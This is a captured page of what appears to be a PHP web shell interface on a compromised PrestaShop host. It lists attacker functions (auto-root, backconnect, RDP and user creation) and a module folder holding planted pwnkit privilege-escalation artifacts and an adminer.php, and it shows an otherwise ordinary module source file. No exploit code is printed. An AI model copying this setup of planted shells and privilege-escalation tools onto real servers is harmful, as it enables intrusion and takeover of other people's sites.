Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
stprothumbgroup /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwx---r-x
translations
[ DIR ]
drwx---r-x
views
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
config.xml
524
B
-rw----r--
config_fr.xml
524
B
-rw-rw-r--
index.php
1.14
KB
-rw----r--
logo.png
3.22
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
stprothumbgroup.php
34.65
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : stprothumbgroup.php
<?php /* * 2007-2017 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author ST-themes <www.sunnytoo.com> * @copyright ST-themes * @license Use, by you or one client for one Prestashop instance. */ if (!defined('_PS_VERSION_')) exit; require_once _PS_MODULE_DIR_.'stprothumbgroup/classes/StProThumbGroupClass.php'; class StProThumbGroup extends Module { private $templateFile; public $fields_list; public $fields_value; public $fields_form; private $_html = ''; private $_prefix_st = 'ST_PTG_'; private $_prefix_stsn = 'STSN_'; public $validation_errors = array(); public static $location = array(); private $spacer_size = '5'; protected $templatePath; public function __construct() { $this->name = 'stprothumbgroup'; $this->tab = 'front_office_features'; $this->version = '1.1.0'; $this->author = 'SUNNYTOO.COM'; $this->need_instance = 0; $this->bootstrap = true; parent::__construct(); $this->displayName = $this->l('Combination images as textures module'); $this->description = $this->l('Use the first image of every combination as textures.'); $this->ps_versions_compliancy = array('min' => '1.6', 'max' => _PS_VERSION_); $this->templateFile = 'module:stprothumbgroup/views/templates/hook/stprothumbgroup.tpl'; self::$location = array( 0 => array( 'id' => 'location_0', 'value' => 0, 'label' => $this->l('All products') ), 1 => array( 'id' => 'location_1', 'value' => 1, 'label' => $this->l('Specify products') ), 2 => array( 'id' => 'location_2', 'value' => 2, 'label' => $this->l('By category') ), 3 => array( 'id' => 'location_3', 'value' => 3, 'label' => $this->l('By manufacturer') ), ); $this->templatePath = 'module:'.$this->name.'/views/templates/hook/'; } public function install() { $res = parent::install() && $this->installDb() && $this->registerHook('displayHeader') && $this->registerHook('actionObjectCategoryDeleteAfter') && $this->registerHook('actionObjectManufacturerDeleteAfter') && $this->registerHook('actionObjectProductDeleteAfter') && $this->registerHook('actionShopDataDuplication'); Configuration::updateValue($this->_prefix_st.'COLOR_WIDTH', ''); Configuration::updateValue($this->_prefix_st.'COLOR_HEIGHT', ''); Configuration::updateValue($this->_prefix_st.'COLOR_SELECTOR', ''); Configuration::updateValue($this->_prefix_st.'PRO_IMAGE_TYPE', ''); Configuration::updateValue($this->_prefix_st.'CUSTOM_CSS', ''); $this->clearCache(); return $res; } /** * Creates tables */ public function installDb() { $return = (bool)Db::getInstance()->execute(' CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'st_product_thumbnail_group` ( `id_st_product_thumbnail_group` int(10) unsigned NOT NULL AUTO_INCREMENT, `title` varchar(255) DEFAULT NULL, `location` tinyint(1) unsigned NOT NULL DEFAULT 0, `id_category` int(10) unsigned NOT NULL DEFAULT 0, `id_manufacturer` int(10) unsigned NOT NULL DEFAULT 0, `id_products` varchar(512) DEFAULT NULL, `active` tinyint(1) unsigned NOT NULL DEFAULT 1, PRIMARY KEY (`id_st_product_thumbnail_group`) ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8 ;'); $return &= (bool)Db::getInstance()->execute(' CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'st_product_thumbnail_group_shop` ( `id_st_product_thumbnail_group` int(10) UNSIGNED NOT NULL, `id_shop` int(11) NOT NULL, PRIMARY KEY (`id_st_product_thumbnail_group`,`id_shop`), KEY `id_shop` (`id_shop`) ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8 ;'); return $return; } public function uninstall() { $this->clearCache(); // Delete configuration return $this->uninstallDb() && parent::uninstall(); } /** * deletes tables */ public function uninstallDb() { return Db::getInstance()->execute('DROP TABLE IF EXISTS `'._DB_PREFIX_.'st_product_thumbnail_group`,`'._DB_PREFIX_.'st_product_thumbnail_group_shop`'); } public function getContent() { if (Tools::version_compare(_PS_VERSION_, '1.7.6.0', '>=')) { $st_product_url = 'index.php?controller=AdminProducts&token='.Tools::getAdminTokenLite('AdminProducts').'&ajax=1&action=productsList&disableCombination=1'; } else { $st_product_url = 'ajax_products_list.php?disableCombination=true'; } Media::addJsDef(['st_product_url' => $st_product_url]); $this->context->controller->addJS(($this->_path).'views/js/admin.js'); $this->context->controller->addCSS($this->_path.'views/css/admin.css'); $id_st_product_thumbnail_group = (int)Tools::getValue('id_st_product_thumbnail_group'); if ((Tools::isSubmit('status'.$this->name))) { $thumb_group = new StProThumbGroupClass((int)$id_st_product_thumbnail_group); if($thumb_group->id && $thumb_group->toggleStatus()) { $this->clearCache(); Tools::redirectAdmin(AdminController::$currentIndex.'&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules')); } else $this->_html .= $this->displayError($this->l('an error occurred while updating the status.')); } if (isset($_POST['save'.$this->name]) || isset($_POST['save'.$this->name.'AndStay'])) { if ($id_st_product_thumbnail_group) $thumb_group = new StProThumbGroupClass((int)$id_st_product_thumbnail_group); else $thumb_group = new StProThumbGroupClass(); $error = array(); $id_products = $thumb_group->id_products; $thumb_group->copyFromPost(); $thumb_group->id_category = 0; $thumb_group->id_manufacturer = 0; $thumb_group->id_products = ''; switch($thumb_group->location) { case 1: if ($id_product = Tools::getValue('id_product')) { $id_product_arr = array(); foreach($id_product AS $id) { /*if (!StProThumbGroupClass::getByIdProduct($id, $thumb_group->type)) { $id_product_arr[] = $id; }*/ $id_product_arr[] = $id; } if ($id_products && $id_st_product_thumbnail_group) { $id_product_arr = array_merge($id_product_arr, explode(',', trim($id_products, ','))); } if ($id_product_arr = array_unique($id_product_arr)) { $thumb_group->id_products = ','.implode(',', $id_product_arr).','; } } break; case 2: $thumb_group->id_category = (int)Tools::getValue('id_category'); break; case 3: $thumb_group->id_manufacturer = (int)Tools::getValue('id_manufacturer'); break; } if (!count($error) && $thumb_group->validateFields(false) && $thumb_group->validateFieldsLang(false)) { $shop_ids = $thumb_group->getShopIds(); $thumb_group->clearShopIds(); $id_shop_list = array(); if($assos_shop = Tools::getValue('checkBoxShopAsso_st_product_thumbnail_group')) { foreach ($assos_shop as $id_shop => $row) { $id_shop_list[] = $id_shop; } } if (!$id_shop_list) { $id_shop_list = array(Context::getContext()->shop->id); } $thumb_group->id_shop_list = array_unique($id_shop_list); if($thumb_group->save()) { $this->clearCache(); if(isset($_POST['save'.$this->name.'AndStay'])) Tools::redirectAdmin(AdminController::$currentIndex.'&configure='.$this->name.'&id_st_product_thumbnail_group='.$thumb_group->id.'&conf='.($id_st_product_thumbnail_group?4:3).'&update'.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules')); else Tools::redirectAdmin(AdminController::$currentIndex.'&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules')); } else { $thumb_group->restoreShopIds($shop_ids); $this->_html .= $this->displayError($this->l('An error occurred during while').' '.($id_st_product_thumbnail_group ? $this->l('updating') : $this->l('creation'))); } } else $this->_html .= count($error) ? implode('',$error) : $this->displayError($this->l('invalid value for field(s).')); } if (isset($_POST['savesetting'.$this->name]) || isset($_POST['savesetting'.$this->name.'AndStay'])) { $this->initSettingForm(); if (isset($_POST['custom_css']) && $_POST['custom_css']) $_POST['custom_css'] = str_replace('\\', '¤', $_POST['custom_css']); foreach($this->fields_form as $form) foreach($form['form']['input'] as $field) if(isset($field['validation'])) { $errors = array(); $value = Tools::getValue($field['name']); if (isset($field['required']) && $field['required'] && $value==false && (string)$value != '0') $errors[] = sprintf(Tools::displayError('Field "%s" is required.'), $field['label']); elseif($value) { $field_validation = $field['validation']; if (!Validate::$field_validation($value)) $errors[] = sprintf(Tools::displayError('Field "%s" is invalid.'), $field['label']); } // Set default value if ($value === false && isset($field['default_value'])) $value = $field['default_value']; if(count($errors)) { $this->validation_errors = array_merge($this->validation_errors, $errors); } elseif($value==false) { switch($field['validation']) { case 'isUnsignedId': case 'isUnsignedInt': case 'isInt': case 'isBool': $value = 0; break; case 'isNullOrUnsignedId': $value = $value==='0' ? '0' : ''; break; default: $value = ''; break; } Configuration::updateValue($this->_prefix_st.strtoupper($field['name']), $value); } else Configuration::updateValue($this->_prefix_st.strtoupper($field['name']), $value); } if(count($this->validation_errors)) $this->_html .= $this->displayError(implode('<br/>',$this->validation_errors)); else { $this->clearCache(); Tools::redirectAdmin(AdminController::$currentIndex.'&configure='.$this->name.'&conf=4&token='.Tools::getAdminTokenLite('AdminModules')); } } if(Tools::isSubmit('add'.$this->name) || (Tools::isSubmit('update'.$this->name) && $id_st_product_thumbnail_group)) { $helper = $this->initForm(); return $this->_html.$helper->generateForm($this->fields_form); } elseif (Tools::isSubmit('delete'.$this->name) && $id_st_product_thumbnail_group) { $thumb_group = new StProThumbGroupClass($id_st_product_thumbnail_group); $thumb_group->delete(); $this->clearCache(); Tools::redirectAdmin(AdminController::$currentIndex.'&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules')); } else { $helper = $this->initThumbGroupList(); $helper_form = $this->initSettingForm(); return $this->_html.$helper->generateList(StProThumbGroupClass::getAll(), $this->fields_list).$helper_form->generateForm($this->fields_form); } } private function getCategoryOption(&$category_arr,$id_category = 1, $id_lang = false, $id_shop = false, $recursive = true) { $id_lang = $id_lang ? (int)$id_lang : (int)Context::getContext()->language->id; $category = new Category((int)$id_category, (int)$id_lang, (int)$id_shop); if (is_null($category->id)) return; if ($recursive) { $children = Category::getChildren((int)$id_category, (int)$id_lang, true, (int)$id_shop); $spacer = str_repeat(' ', $this->spacer_size * (int)$category->level_depth); } $shop = (object) Shop::getShop((int)$category->getShopID()); $category_arr[$category->id] = array( 'id' => $category->id, 'name' => (isset($spacer) ? $spacer : '').$category->name.' ('.$shop->name.')', ); if (isset($children) && count($children)) foreach ($children as $child) { $this->getCategoryOption($category_arr,(int)$child['id_category'], (int)$id_lang, (int)$child['id_shop'],$recursive); } } protected function initSettingForm() { $this->fields_form[0]['form'] = array( 'legend' => array( 'title' => $this->l('Setting'), 'icon' => 'icon-cogs' ), 'input' => array( array( 'type' => 'text', 'label' => $this->l('Color attribute item width:'), 'name' => 'color_width', 'prefix' => 'px', 'class' => 'fixed-width-lg', 'validation' => 'isNullOrUnsignedId', ), array( 'type' => 'text', 'label' => $this->l('Color attribute item height:'), 'name' => 'color_height', 'prefix' => 'px', 'class' => 'fixed-width-lg', 'validation' => 'isNullOrUnsignedId', ), array( 'type' => 'text', 'label' => $this->l('Color attribute item selector:'), 'name' => 'color_selector', 'class' => 'fixed-width-lg', 'validation' => 'isAnything', 'desc' => $this->l('Leave it empty to use the default value'), ), 'pro_image_type'=>array( 'type' => 'select', 'label' => $this->l('Image type'), 'name' => 'pro_image_type', 'default_value' => '', 'options' => array( 'query' => array(), 'id' => 'id', 'name' => 'name', ), 'validation' => 'isGenericName', ), array( 'type' => 'textarea', 'label' => $this->l('Custom CSS Code:'), 'name' => 'custom_css', 'cols' => 60, 'rows' => 10, 'desc' => $this->l('Put CSS code here without wrapping them in STYLE tag'), 'validation' => 'isAnything', ), ), 'buttons' => array( array( 'type' => 'submit', 'title' => $this->l('Save'), 'icon' => 'process-icon-save', 'class'=> 'pull-right' ), ), ); $image_types_arr = array( // array('id' => '', 'name' => $this->l('Origanl')), ); $imagesTypes = ImageType::getImagesTypes('products'); foreach ($imagesTypes as $k=>$imageType) { if(Tools::substr($imageType['name'],-3)=='_2x') continue; $image_types_arr[] = array('id' => $imageType['name'], 'name' => $imageType['name'].'('.$imageType['width'].'x'.$imageType['height'].')'); } $this->fields_form[0]['form']['input']['pro_image_type']['options']['query'] = $image_types_arr; $helper = new HelperForm(); $helper->show_toolbar = false; $helper->module = $this; $lang = new Language((int)Configuration::get('PS_LANG_DEFAULT')); $helper->default_form_language = $lang->id; $helper->allow_employee_form_lang = Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') ? Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') : 0; $helper->submit_action = 'savesetting'.$this->name; $helper->currentIndex = $this->context->link->getAdminLink('AdminModules', false).'&configure='.$this->name; $helper->token = Tools::getAdminTokenLite('AdminModules'); $helper->tpl_vars = array( 'fields_value' => $this->getConfigFieldsValues(), 'languages' => $this->context->controller->getLanguages(), 'id_language' => $this->context->language->id ); return $helper; } protected function initForm() { $id_st_product_thumbnail_group = (int)Tools::getValue('id_st_product_thumbnail_group'); $thumb_group = new StProThumbGroupClass($id_st_product_thumbnail_group); $this->fields_form[0]['form'] = array( 'legend' => array( 'title' => $this->l('Setting'), 'icon' => 'icon-cogs' ), 'input' => array( array( 'type' => 'text', 'label' => $this->l('Name:'), 'name' => 'title', 'class' => 'fixed-width-xxl', 'desc' => $this->l('Reminder only, not show out on the front-end'), ), array( 'type' => 'radio', 'label' => $this->l('Apply to:'), 'name' => 'location', 'default_value' => 0, 'values' => self::$location, ), array( 'type' => 'select', 'label' => $this->l('Select a category'), 'name' => 'id_category', 'class' => 'fixed-width-xxl', 'options' => array( 'query' => $this->getApplyCategory(), 'id' => 'id', 'name' => 'name', 'default' => array( 'value' => '', 'label' => $this->l('All') ) ), ), array( 'type' => 'select', 'label' => $this->l('Select a manufacturer'), 'name' => 'id_manufacturer', 'class' => 'fixed-width-xxl', 'options' => array( 'query' => $this->getApplyManufacturer(), 'id' => 'id', 'name' => 'name', 'default' => array( 'value' => '', 'label' => $this->l('All') ) ), ), 'products' => array( 'type' => 'text', 'label' => $this->l('Specific products:'), 'name' => 'products', 'autocomplete' => false, 'class' => 'fixed-width-xxl', 'desc' => '', ), array( 'type' => 'switch', 'label' => $this->l('Status:'), 'name' => 'active', 'is_bool' => true, 'default_value' => 1, 'values' => array( array( 'id' => 'active_on', 'value' => 1, 'label' => $this->l('Enabled') ), array( 'id' => 'active_off', 'value' => 0, 'label' => $this->l('Disabled') ) ), ), ), 'buttons' => array( array( 'type' => 'submit', 'title' => $this->l('Save'), 'icon' => 'process-icon-save', 'class'=> 'pull-right' ), ), 'submit' => array( 'title' => $this->l('Save and stay'), 'stay' => true ), ); if (Shop::isFeatureActive()) { $this->fields_form[0]['form']['input'][] = array( 'type' => 'shop', 'label' => $this->l('Shop association:'), 'name' => 'checkBoxShopAsso', ); } $this->fields_form[0]['form']['input'][] = array( 'type' => 'html', 'id' => 'a_cancel', 'label' => '', 'name' => '<a class="btn btn-default btn-block fixed-width-md" href="'.AdminController::$currentIndex.'&configure='.$this->name. '&token='.Tools::getAdminTokenLite('AdminModules').'"><i class="icon-arrow-left"></i>'.$this->l('Back to list').'</a>', ); $products_html = ''; foreach(explode(',', trim($thumb_group->id_products, ',')) AS $id_product) { if (!(int)$id_product) { continue; } $product = new Product((int)$id_product, false, Context::getContext()->language->id); $products_html .= '<li>'.$product->name.'['.$product->reference.'] <a href="javascript:;" class="del_product"><img src="../img/admin/delete.gif" /></a> <input type="hidden" name="id_product[]" value="'.$id_product.'" /></li>'; } $this->fields_form[0]['form']['input']['products']['desc'] = $this->l('Type product name to add prodcuts:').'<br/>'.$this->l('Current products') .': <ul id="curr_products">'.$products_html.'</ul>'; $helper = new HelperForm(); $helper->show_toolbar = false; $helper->module = $this; $lang = new Language((int)Configuration::get('PS_LANG_DEFAULT')); $helper->default_form_language = $lang->id; $helper->allow_employee_form_lang = Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') ? Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') : 0; $helper->id = $thumb_group->id; $helper->table = 'st_product_thumbnail_group'; $helper->identifier = 'id_st_product_thumbnail_group'; $helper->submit_action = 'save'.$this->name; $helper->currentIndex = $this->context->link->getAdminLink('AdminModules', false).'&configure='.$this->name; $helper->token = Tools::getAdminTokenLite('AdminModules'); $helper->tpl_vars = array( 'fields_value' => $this->getFieldsValueSt($thumb_group,"fields_form"), 'languages' => $this->context->controller->getLanguages(), 'id_language' => $this->context->language->id ); return $helper; } public static function showLocationName($value,$row) { return self::$location[$value]['label']; } public static function showContent($value,$row) { $ret = ''; $context = Context::getContext(); switch($row['location']) { case 0: return '--'; case 1: $html = '<ul>'; foreach(explode(',', trim($row['id_products'],',')) AS $id_product) { if (!$id_product) { continue; } $product = new Product((int)$id_product, $context->language->id, $context->shop->id); $html .= '<li>'.$product->name.'</li>'; } $html .= '</ul>'; return $html; break; case 2: $category = new Category((int)$row['id_category'], $context->language->id, $context->shop->id); return $category->name; case 3: return Manufacturer::getNameById((int)$row['id_manufacturer']); } return $ret; } public static function displayContent($value, $row) { return Tools::truncateString(strip_tags(stripslashes($value)), 80); } protected function initThumbGroupList() { $this->fields_list = array( 'id_st_product_thumbnail_group' => array( 'title' => $this->l('Id'), 'width' => 120, 'type' => 'text', 'search' => false, 'orderby' => false ), 'title' => array( 'title' => $this->l('Name'), 'width' => 200, 'type' => 'text', 'search' => false, 'orderby' => false ), 'location' => array( 'title' => $this->l('Apply to'), 'width' => 200, 'type' => 'text', 'callback' => 'showLocationName', 'callback_object' => 'StProThumbGroup', 'search' => false, 'orderby' => false ), 'id_category' => array( 'title' => $this->l('Content'), 'type' => 'text', 'callback' => 'showContent', 'callback_object' => 'StProThumbGroup', 'width' => 300, 'search' => false, 'orderby' => false ), 'active' => array( 'title' => $this->l('Status'), 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'width' => 25, 'search' => false, 'orderby' => false ), ); $helper = new HelperList(); $helper->shopLinkType = ''; $helper->simple_header = false; $helper->module = $this; $helper->identifier = 'id_st_product_thumbnail_group'; $helper->actions = array('edit', 'delete'); $helper->show_toolbar = true; $helper->imageType = 'jpg'; $helper->toolbar_btn['new'] = array( 'href' => AdminController::$currentIndex.'&configure='.$this->name.'&add'.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules'), 'desc' => $this->l('Add a group') ); $helper->title = $this->l('Group list'); $helper->table = $this->name; $helper->token = Tools::getAdminTokenLite('AdminModules'); $helper->currentIndex = AdminController::$currentIndex.'&configure='.$this->name; return $helper; } public function hookDisplayHeader($params) { if (!$this->isCached($this->templatePath.'header.tpl', $this->getCacheId())) { $custom_css = ''; $color_selector = Configuration::get($this->_prefix_st.'COLOR_SELECTOR'); if(!$color_selector) $color_selector = '.product-variants .product-variants-item .color.texture'; if($color_width = Configuration::get($this->_prefix_st.'COLOR_WIDTH')) $custom_css .= $color_selector.'{width:'.$color_width.'px;}'; if($color_height = Configuration::get($this->_prefix_st.'COLOR_HEIGHT')) $custom_css .= $color_selector.'{height:'.$color_height.'px;}'; $custom_css .= str_replace('¤', '\\', Configuration::get($this->_prefix_st.'CUSTOM_CSS')); $this->smarty->assign('custom_css', preg_replace('/\s\s+/', ' ', $custom_css)); } $id_product = (int)Tools::getValue('id_product'); if(Dispatcher::getInstance()->getController()=='product' && $id_product && StProThumbGroupClass::getForProduct($id_product)){ $product = new Product($id_product, false, $this->context->language->id); if (Validate::isLoadedObject($product)) { $data = $this->getAttributesGroups($product); $this->context->smarty->assign(array( 'st_attr_img_as_texture' => $data, )); } } return $this->fetch($this->templatePath.'header.tpl', $this->getCacheId()); } public function hookActionObjectProductDeleteAfter($params) { if(!$params['object']->id) return ; return StProThumbGroupClass::deleteByIdProduct($params['object']->id); } public function hookActionObjectCategoryDeleteAfter($params) { if(!$params['object']->id) return ; return StProThumbGroupClass::deleteByIdCategory($params['object']->id); } public function hookActionObjectManufacturerDeleteAfter($params) { if(!$params['object']->id) return ; return StProThumbGroupClass::deleteByIdtManufacturer($params['object']->id);; } public function hookActionShopDataDuplication($params) { Db::getInstance()->execute(' INSERT IGNORE INTO '._DB_PREFIX_.'st_product_thumbnail_group_shop (id_st_product_thumbnail_group, id_shop) SELECT id_st_product_thumbnail_group, '.(int)$params['new_id_shop'].' FROM '._DB_PREFIX_.'st_product_thumbnail_group_shop WHERE id_shop = '.(int)$params['old_id_shop']); $this->clearCache(); } private function clearCache() { $this->_clearCache('*'); } /** * Return the list of fields value * * @param object $obj Object * @return array */ public function getFieldsValueSt($obj,$fields_form="fields_form") { foreach ($this->$fields_form as $fieldset) if (isset($fieldset['form']['input'])) foreach ($fieldset['form']['input'] as $input) if (!isset($this->fields_value[$input['name']])) if (isset($input['type']) && $input['type'] == 'shop') { if ($obj->id) { $result = Shop::getShopById((int)$obj->id, $this->identifier, $this->table); foreach ($result as $row) $this->fields_value['shop'][$row['id_'.$input['type']]][] = $row['id_shop']; } } elseif (isset($input['lang']) && $input['lang']) foreach (Language::getLanguages(false) as $language) { $fieldValue = $this->getFieldValueSt($obj, $input['name'], $language['id_lang']); if (empty($fieldValue)) { if (isset($input['default_value']) && is_array($input['default_value']) && isset($input['default_value'][$language['id_lang']])) $fieldValue = $input['default_value'][$language['id_lang']]; elseif (isset($input['default_value'])) $fieldValue = $input['default_value']; } $this->fields_value[$input['name']][$language['id_lang']] = $fieldValue; } else { $fieldValue = $this->getFieldValueSt($obj, $input['name']); if ($fieldValue===false && isset($input['default_value'])) $fieldValue = $input['default_value']; $this->fields_value[$input['name']] = $fieldValue; } return $this->fields_value; } /** * Return field value if possible (both classical and multilingual fields) * * Case 1 : Return value if present in $_POST / $_GET * Case 2 : Return object value * * @param object $obj Object * @param string $key Field name * @param integer $id_lang Language id (optional) * @return string */ public function getFieldValueSt($obj, $key, $id_lang = null) { if ($id_lang) $default_value = ($obj->id && isset($obj->{$key}[$id_lang])) ? $obj->{$key}[$id_lang] : false; else $default_value = isset($obj->{$key}) ? $obj->{$key} : false; return Tools::getValue($key.($id_lang ? '_'.$id_lang : ''), $default_value); } public function getApplyCategory() { $category_arr = array(); $this->getCategoryOption($category_arr, Category::getRootCategory()->id, (int)$this->context->language->id, (int)Shop::getContextShopID(), true); return $category_arr; } public function getApplyManufacturer() { $manufacturer_arr = array(); $manufacturers = Manufacturer::getManufacturers(false, $this->context->language->id); foreach ($manufacturers as $manufacturer) $manufacturer_arr[] = array('id'=>$manufacturer['id_manufacturer'],'name'=>$manufacturer['name']); return $manufacturer_arr; } private function getConfigFieldsValues() { $fields_values = array( 'color_selector' => Configuration::get($this->_prefix_st.'COLOR_SELECTOR'), 'color_width' => Configuration::get($this->_prefix_st.'COLOR_WIDTH'), 'color_height' => Configuration::get($this->_prefix_st.'COLOR_HEIGHT'), 'pro_image_type' => Configuration::get($this->_prefix_st.'PRO_IMAGE_TYPE'), 'custom_css' => str_replace('¤', '\\', Configuration::get($this->_prefix_st.'CUSTOM_CSS')), ); return $fields_values; } public function getAttributesGroups($product) { $groups = array(); $cover_image = Product::getCover($product->id); $cover_url = ''; $pro_image_type = Configuration::get($this->_prefix_st.'PRO_IMAGE_TYPE'); if(!$pro_image_type) $pro_image_type = 'small_default'; $attributes_groups = $product->getAttributesGroups($this->context->language->id); if (is_array($attributes_groups) && $attributes_groups) { $combination_images = $product->getCombinationImages($this->context->language->id); foreach ($attributes_groups as $k => $row) { if(!$row['is_color_group']) continue; if (!isset($groups[$row['id_attribute_group']])) { $groups[$row['id_attribute_group']] = array( ); } if(isset($combination_images[$row['id_product_attribute']]) && count($combination_images[$row['id_product_attribute']])) $texture_url = $this->context->link->getImageLink($product->link_rewrite, $product->id . '-' . $combination_images[$row['id_product_attribute']][0]['id_image'], $pro_image_type); else{ if(!$cover_url) $cover_url = $this->context->link->getImageLink($product->link_rewrite, $product->id . '-' . $cover_image['id_image'], $pro_image_type); $texture_url = $cover_url; } $groups[$row['id_attribute_group']][$row['id_attribute']] = $texture_url; } } return $groups; } }
Close